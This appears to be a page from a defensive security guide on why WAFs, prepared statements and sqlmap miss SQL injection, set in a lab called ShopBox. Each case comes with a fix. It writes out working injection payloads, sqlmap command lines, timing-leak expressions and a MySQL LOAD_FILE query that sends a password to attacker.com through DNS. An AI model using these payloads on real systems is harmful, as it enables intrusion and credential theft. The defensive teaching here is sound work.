When Defenses Fail: Troubleshooting False Negatives and Evasive Attacks

Every defense has seams. I've watched WAFs (Web Application Firewalls, filters that inspect HTTP traffic) cheerfully log "PASS" while the database behind them hemorrhaged data. I've seen prepared statements that should have stopped injection cold, yet the attacker still walked away with the customer table. This page is for 3 AM: you're looking at evidence that something went wrong, your controls say otherwise, and you need to find the gap before the next shift starts.

The five symptoms below are patterns I've hit repeatedly in assessments — including our ShopBox lab at 192.0.2.10. Each follows the same structure: what you see, what it probably means, how to confirm it, how to close it, and how to keep it closed.

Symptom-to-Cause Quick Reference

What you're seeing	Likely root cause	First place to look
WAF clean, DB spiking	Fragmented payloads across parameters	Application logs for split keywords
Prepared statements deployed, injection persists	Dynamic identifiers in query structure	Code review of table/column construction
sqlmap empty, manual pwned	Session state or token validation	sqlmap's CSRF handling and `--eval`
Silent exfiltration, no errors	Out-of-band channels (DNS, timing)	Network DNS logs and query timing variance
Audit gaps during known incident	Log rotation or storage failure	Filesystem capacity and rotation config

Worked Example: The Fragmented Payload That Slipped Through

This is the one that taught me to never trust a single "PASS" log entry. During a ShopBox assessment, our ModSecurity instance (check the current release for your WAF product's specifics) reported the search request as clean. The MySQL general log at 192.0.2.20 told a different story.

Symptom: WAF reports 200 OK and msg: Access allowed for every request to /search, yet SHOW PROCESSLIST on 192.0.2.20 shows sustained Sleep connections accumulating and periodic bursts of Query activity at odd intervals.

Observed indicator: The application logs show two parameters arriving together:

# illustrative output — verify on your target
192.0.2.100 - - [14/Mar/2024:03:17:22 +0000] "GET /search?term=shoes&cat=1 HTTP/1.1" 200 4823
192.0.2.100 - - [14/Mar/2024:03:17:23 +0000] "GET /search?term=UNI&cat=ON%20SELECT%20sleep(5)-- HTTP/1.1" 200 4823

Wait. UNI and ON SELECT sleep(5)? Neither parameter contains a complete SQL keyword. The WAF pattern for UNION never fires because the string is split across term and cat. The application — as covered earlier in the string concatenation discussion — assembles these server-side into ... WHERE name LIKE '%shoes%' AND category = 1, but with the poisoned values it becomes ... WHERE name LIKE '%UNI%' AND category = ON SELECT sleep(5)--.

Root cause: HTTP Parameter Pollution (HPP) or simple multi-parameter fragmentation. The attacker distributes payload fragments across parameters that the application concatenates or interpolates into a single query context.

Verification step: Reconstruct what the application actually builds. In the ShopBox lab, we trace this with the MySQL general query log:

# On 192.0.2.20 — enable general log temporarily for diagnosis
mysql -u admin -p -e "SET GLOBAL general_log = 'ON'; SET GLOBAL log_output = 'TABLE';"
# Wait for suspect traffic, then inspect
mysql -u admin -p -e "SELECT argument FROM mysql.general_log WHERE argument LIKE '%UNI%ON%';"
# illustrative output — verify on your target
# | SELECT * FROM products WHERE name LIKE '%UNI%' AND category = ON SELECT sleep(5)-- |

Why this matters: The mysql.general_log table captures the actual query string after all application-side manipulation. If your WAF sees parameters in isolation and your database sees the assembled query, you're blind to the gap.

Fix: Parameterized queries are necessary but not sufficient here — the vulnerability is in the assembly logic, not just the execution. For ShopBox's search, we rewrote the query builder to validate category against an allowlist of integer IDs before any string construction:

// Before: vulnerable assembly
$query = "SELECT * FROM products WHERE name LIKE '%" . $_GET['term'] . "%' AND category = " . $_GET['cat']; // After: validated reconstruction
$allowed_cats = [1, 2, 3, 4, 5]; // from database or cache
$cat = filter_input(INPUT_GET, 'cat', FILTER_VALIDATE_INT);
if (!in_array($cat, $allowed_cats, true)) { $cat = 1; // safe default
}
$stmt = $pdo->prepare("SELECT * FROM products WHERE name LIKE ? AND category = ?");
$stmt->execute(["%" . $term . "%", $cat]);

Prevention: WAFs need context-aware rules that evaluate parameter combinations, not just individual values. Behavior varies by WAF version — check your vendor's documentation for HPP detection capabilities. Architecturally, never assume "parameterized = safe" when the query structure itself is dynamic.

Symptom: Prepared Statements Deployed, Injection Persists

Observed indicator: Code review or error logs show queries like SELECT * FROM ? WHERE id = ? failing, or ORDER BY ? returning unexpected sort orders. The prepared statement is syntactically correct; the injection is in the metastructure.

Root cause: Prepared statements bind values, not identifiers. Table names, column names, and ORDER BY clauses are query structure, not values. If your application does ORDER BY $_GET['sort'] with any user input reaching that position, you've got an injection point that ? placeholders cannot fix.

Verification step: In ShopBox's order history, we found this pattern:

# On ShopBox application server 192.0.2.10 — grep for dynamic identifiers
grep -rn "ORDER BY" /var/www/shopbox/includes/
grep -rn "FROM \." /var/www/shopbox/includes/ # backtick or variable table names

Fix: Whitelist, don't parameterize, identifiers. For ShopBox's sortable columns:

$allowed_sort = ['date' => 'created_at', 'total' => 'order_total', 'status' => 'status'];
$sort_key = $_GET['sort'] ?? 'date';
$sort_column = $allowed_sort[$sort_key] ?? 'created_at'; // default if not in whitelist
// Now $sort_column is guaranteed safe; it came from our array, not user input
$query = "SELECT * FROM orders WHERE user_id = ? ORDER BY {$sort_column}";
$stmt = $pdo->prepare($query);
$stmt->execute([$user_id]);

Symptom: sqlmap Finds Nothing, Manual Testing Confirms Vulnerability

Observed indicator: You run sqlmap against ShopBox's login at http://192.0.2.10/login, it reports [WARNING] GET parameter 'username' does not seem to be injectable. You hand-craft admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- and the response delays exactly five seconds.

Root cause: sqlmap's automated request generation doesn't match the application's session lifecycle. ShopBox's login form, like many real applications, requires a valid anti-CSRF token (a random value issued by the server to prevent Cross-Site Request Forgery attacks, where malicious sites submit forms on a user's behalf). sqlmap submits the token it first received; the server rejects subsequent requests with that same token.

Verification step: Capture the token behavior:

# Observe token rotation — two sequential requests with same token
curl -c cookies.txt -b cookies.txt "http://192.0.2.10/login" | grep "csrf_token"
# Submit same token twice, observe second rejection

Fix: sqlmap can handle this, but you must tell it how. Check the current sqlmap release for exact flag behavior; the flags below exist but defaults may vary:

# Extract fresh token before each injection attempt
python sqlmap.py -u "http://192.0.2.10/login" \ --data="username=test&password=test&csrf_token=TOKEN" \ --csrf-token="csrf_token" \ --csrf-url="http://192.0.2.10/login" \ --csrf-method=GET \ --csrf-retries=2 \ -p username --batch

Why this matters: --csrf-token names the parameter to update. --csrf-url tells sqlmap where to fetch a fresh token. Without these, sqlmap is effectively replaying expired session state — the same mistake that makes manual testers succeed where automation fails.

For HMAC-signed parameters or complex session handling, --eval lets you run Python code to compute derived values:

python sqlmap.py -u "http://192.0.2.10/api/search" \ --data="q=test&sig=PLACEHOLDER" \ --eval="import hmac,hashlib; sig=hmac.new(b'secret', q.encode(), hashlib.sha256).hexdigest()" \ -p q --batch

⚠️ Authorized, defensive use only. This --eval example assumes you know the signing key from legitimate code review — extracting secrets from production systems you don't own is illegal.

Symptom: No Error Messages, Yet Data Exfiltrated

Observed indicator: Application responds normally. No SQL errors in logs. Yet attacker-controlled domains appear in DNS query logs, or response times show statistically significant variance correlated with query conditions.

Root cause: Out-of-band exfiltration. When direct output is impossible (no error messages, no UNION-visible output), attackers use channels the application doesn't control. DNS exfiltration works because the database can trigger lookups to attacker domains containing data: SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a.txt')) on MySQL, or COPY ... TO PROGRAM variants on PostgreSQL at 192.0.2.30.

Verification step: Monitor DNS at the network perimeter, not the application:

# On DNS resolver or border sensor — look for high-entropy subdomains
tcpdump -i eth0 port 53 | grep -E "[a-z0-9]{20,}\.attacker\.com"
# Or inspect query logs for patterns matching encoded data

For timing analysis, measure response distributions. Differential timing means the attacker asks a true/false question and observes delay: IF (ASCII(SUBSTRING(password,1,1)) > 64, SLEEP(5), 0). No data crosses the wire, but the time leaks the bit.

Fix: Disable dangerous functions at the database level. On MySQL 192.0.2.20:

-- Restrict functions that can initiate network connections
SET GLOBAL secure_file_priv = "/dev/null"; -- or a nonexistent path
-- Check current value
SHOW VARIABLES LIKE 'secure_file_priv';

On PostgreSQL 192.0.2.30, review pg_hba.conf and disable COPY TO PROGRAM via appropriate privilege restrictions — behavior varies by version, check current release documentation.

Network-level: egress filtering on database hosts. The MySQL server at 192.0.2.20 should not need to resolve arbitrary external domains.

Symptom: Database Audit Log Gaps During Known Attack Window

Observed indicator: You know from application logs that suspicious requests hit ShopBox between 02:00 and 04:00. The database audit trail has entries for 01:58 and 04:12, nothing between.

Root cause: Log rotation misconfiguration or storage exhaustion. This is the HSM audit pattern from our earlier coverage applied to database logging — the principles transfer. If audit config interval (or your DBMS equivalent) rotates files at a size threshold, and rotation fails because the destination filesystem is full, some implementations stop logging rather than crash. Others rotate into a directory that cleanup scripts then purge.

Verification step: Check filesystem state and rotation configuration:

# On 192.0.2.20 — examine MySQL audit plugin status and disk space
mysql -u admin -p -e "SHOW GLOBAL STATUS LIKE 'Audit_log%';"
df -h /var/log/mysql/
ls -lt /var/log/mysql/ | head -20
# illustrative output — verify on your target
# -rw-r----- 1 mysql mysql 1.1G Mar 14 04:00 audit.log.1
# -rw-r----- 1 mysql mysql 0 Mar 14 04:00 audit.log <-- zero bytes, rotation failed?

Fix: Ensure rotation destination has capacity, and configure alerts before exhaustion. For MySQL audit plugin:

# Set reasonable size and ensure monitoring
mysql -u admin -p -e "
SET GLOBAL audit_log_rotate_on_size = 104857600; -- 100MB, adjust for your volume
"

In plain terms: Your audit logs are only evidence if they exist when you need them. A full disk during an incident is worse than no logging at all — it gives false confidence.

Prevention: Monitor log filesystem capacity as a critical metric, not an afterthought. Test rotation under load. The "First Symmetric Key Usage Only" category from HSM logging — space-efficient selective logging — has a database parallel: log only DDL and failed logins if volume overwhelms you, but know what you're not recording.

Closing Checklist for Incident Response

When your defenses report clean but your gut says otherwise:

[ ] Reconstruct actual queries from database general logs, not application parameters
[ ] Verify prepared statements aren't bypassed by dynamic identifiers
[ ] Confirm automation handles session state and tokens correctly
[ ] Check DNS and timing channels for silent exfiltration
[ ] Validate audit log continuity and filesystem capacity

These gaps don't mean your defenses are worthless. They mean defenses are systems, and systems have interfaces where assumptions fail. The attacker's job is to find those interfaces. Yours is to know they exist before the pager goes off.

Covered later: how to verify your fixes without accidentally DoSing production — the validation and verification page discusses controlled testing methodologies.